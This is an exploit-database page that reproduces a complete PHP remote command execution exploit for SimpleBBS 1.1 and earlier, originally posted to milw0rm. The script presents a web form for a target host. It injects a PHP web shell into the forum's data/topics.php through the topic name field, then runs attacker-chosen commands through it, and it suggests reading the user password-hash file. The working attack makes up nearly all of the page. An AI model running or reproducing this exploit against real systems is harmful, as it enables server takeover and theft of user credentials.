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SimpleBBS <= 1.1 - Remote Commands Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 19 Views

SimpleBBS 1.1 Remote Commands Executio

Code

                                                &#60;?php
#  ---simplebbs_11_xpl.php                              19.42 02/12/2005       #
#                                                                              #
#                SimpleBBS &#60;= v1.1  remote commands execution                  #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  -&#62; this works regardless of magic_quotes_gpc settings                       #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: &#34;He will win who knows when to fight and when not to fight.&#34;       #

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;, 2);
ob_implicit_flush (1);

echo&#39;&#60;html&#62;&#60;head&#62;&#60;title&#62;***** SimpleBBS &#60;= v1.1  remote commands execution *****
&#60;/title&#62;&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=iso-8859-1&#34;&#62;
&#60;style type=&#34;text/css&#34;&#62; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&#62;&#60;/style&#62;&#60;/head&#62;&#60;body&#62;&#60;p class=&#34;Stile6&#34;&#62;
***** SimpleBBS &#60;= v1.1  remote commands execution ***** &#60;/p&#62;&#60;p class=&#34;Stile6&#34;&#62;a
script  by  rgod  at        &#60;a href=&#34;http://rgod.altervista.org&#34;target=&#34;_blank&#34;&#62;
http://rgod.altervista.org&#60;/a&#62;&#60;/p&#62;&#60;table width=&#34;84%&#34;&#62;&#60;tr&#62;&#60;td width=&#34;43%&#34;&#62;  &#60;form
name=&#34;form1&#34; method=&#34;post&#34;  action=&#34;&#39;.strip_tags($SERVER[PHP_SELF]).&#39;&#34;&#62;&#60;p&#62;&#60;input
type=&#34;text&#34;  name=&#34;host&#34;&#62; &#60;span class=&#34;Stile5&#34;&#62;* hostname (ex:www.sitename.com)
&#60;/span&#62;&#60;/p&#62; &#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;path&#34;&#62;  &#60;span class=&#34;Stile5&#34;&#62;* path (ex:
/simplebbs/ or just / ) &#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;text&#34; name=&#34;command&#34;&#62;   &#60;span
class=&#34;Stile5&#34;&#62; * specify a command ( &#34;cat ./../users/users.php&#34; to  see     any
admin/user  MD5  paasword  hash &#60;/span&#62; &#60;/p&#62; &#60;p&#62; &#60;input type=&#34;text&#34; name=&#34;port&#34;&#62;
&#60;span class=&#34;Stile5&#34;&#62;specify  a  port   other than  80 ( default  value )&#60;/span&#62;
&#60;/p&#62;&#60;p&#62;&#60;input  type=&#34;text&#34;   name=&#34;proxy&#34;&#62;&#60;span class=&#34;Stile5&#34;&#62;  send    exploit
through an  HTTP proxy (ip:port)&#60;/span&#62;&#60;/p&#62;&#60;p&#62;&#60;input type=&#34;submit&#34; name=&#34;Submit&#34;
 value=&#34;go!&#34;&#62;&#60;/p&#62;&#60;/form&#62; &#60;/td&#62;&#60;/tr&#62;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#39;;

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo &#39;&#60;table border=&#34;0&#34;&#62;&#60;tr&#62;&#39;;
while ($ii &#60;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo &#34;&#60;td&#62;&nbsp;&nbsp;&#60;/td&#62;&#34;;
             for ($li=0; $li&#60;=15; $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li+$ki].&#34;&#60;/td&#62;&#34;;
			    }
            $ki=$ki+16;
            echo &#34;&#60;/tr&#62;&#60;tr&#62;&#34;;
            }
if (strlen($datai)==1) {echo &#34;&#60;td&#62;0&#34;.$datai.&#34;&#60;/td&#62;&#34;;} else
{echo &#34;&#60;td&#62;&#34;.$datai.&#34;&#60;/td&#62; &#34;;}
$ii++;
$ji++;
}
for ($li=1; $li&#60;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo &#34;&#60;td&#62;&nbsp&nbsp&#60;/td&#62;&#34;;
                       }

for ($li=$ci*16; $li&#60;=strlen($headeri); $li++)
                      { echo &#34;&#60;td&#62;&#34;.$headeri[$li].&#34;&#60;/td&#62;&#34;;
			    }
echo &#34;&#60;/tr&#62;&#60;/table&#62;&#34;;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &#60; 0) {
                   echo &#34;socket_create() failed: reason: &#34; . socket_strerror($socket) . &#34;&#60;br&#62;&#34;;
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo &#39;Not a valid prozy...&#39;;
                        die;
                       }
                    echo &#34;OK.&#60;br&#62;&#34;;
                    echo &#34;Attempting to connect to &#34;.$host.&#34; on port &#34;.$port.&#34;...&#60;br&#62;&#34;;
                    if ($proxy==&#39;&#39;)
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(&#39;:&#39;,$proxy);
                   echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result &#60; 0) {
                                     echo &#34;socket_connect() failed.\r\nReason: (&#34;.$result.&#34;) &#34; . socket_strerror($result) . &#34;&#60;br&#62;&#60;br&#62;&#34;;
                                    }
	                       else
		                    {
                                     echo &#34;OK.&#60;br&#62;&#60;br&#62;&#34;;
                                     $html= &#39;&#39;;
                                     socket_write($socket, $packet, strlen($packet));
                                     echo &#34;Reading response:&#60;br&#62;&#34;;
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo &#34;Closing socket...&#34;;
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==&#39;&#39;)
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo &#39;No response from &#39;.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo &#39;Not a valid prozy...&#39;;
                        die;
                       }
	   $parts=explode(&#39;:&#39;,$proxy);
	    echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...&#60;br&#62;&#39;;
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo &#39;No response from proxy...&#39;;
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy==&#39;&#39;)
  {

    $html=&#39;&#39;;
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];


if (($host&#60;&#62;&#39;&#39;) and ($path&#60;&#62;&#39;&#39;) and ($command&#60;&#62;&#39;&#39;))
{
$port=intval(trim($port));
if ($port==&#39;&#39;) {$port=80;}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
$host=str_replace(&#34;\r\n&#34;,&#34;&#34;,$host);
$path=str_replace(&#34;\r\n&#34;,&#34;&#34;,$path);

#STEP 1 -&#62; Inject a shell in data/topics.php ...
$CODE=&#34;\&#34;&#62;&#60;!--&#60;?php error_reporting(0);print `\$_GET[cmd]`; die;?&#62;&#34;;
//we use backticks in shell to get rid of magic_quotes_gpc settings...
//so it works regardless of it...
$CODE=urlencode($CODE);
//you can inject arbitrary php code in name argument
$data=&#34;name=SUNTZUSUN&#34;.$CODE.&#34;&subject=Hi&message=Hi%20all&sendTopic=Send&#34;;
//if you set c to 0 you have an invisible post
$packet=&#34;POST &#34;.$p.&#34;index.php?v=newtopic&c=0 HTTP/1.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;User-Agent: Jyxobot/x\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
show($packet);
sendpacketii($packet);

#STEP 2 -&#62; Launch commands ...
$packet=&#34;GET &#34;.$p.&#34;data/topics.php?cmd=&#34;.urlencode($command).&#34; HTTP/1.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;User-Agent: Googlebot/Test ( http://www.googlebot.com/bot.html)\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
show($packet);
sendpacketii($packet);
}
else
{echo &#34;Fill * required fields, optionally specify a proxy...&#34;;}

?&#62;

# milw0rm.com [2005-12-06]

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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
vulnerabilitysimplebbsremote execution
19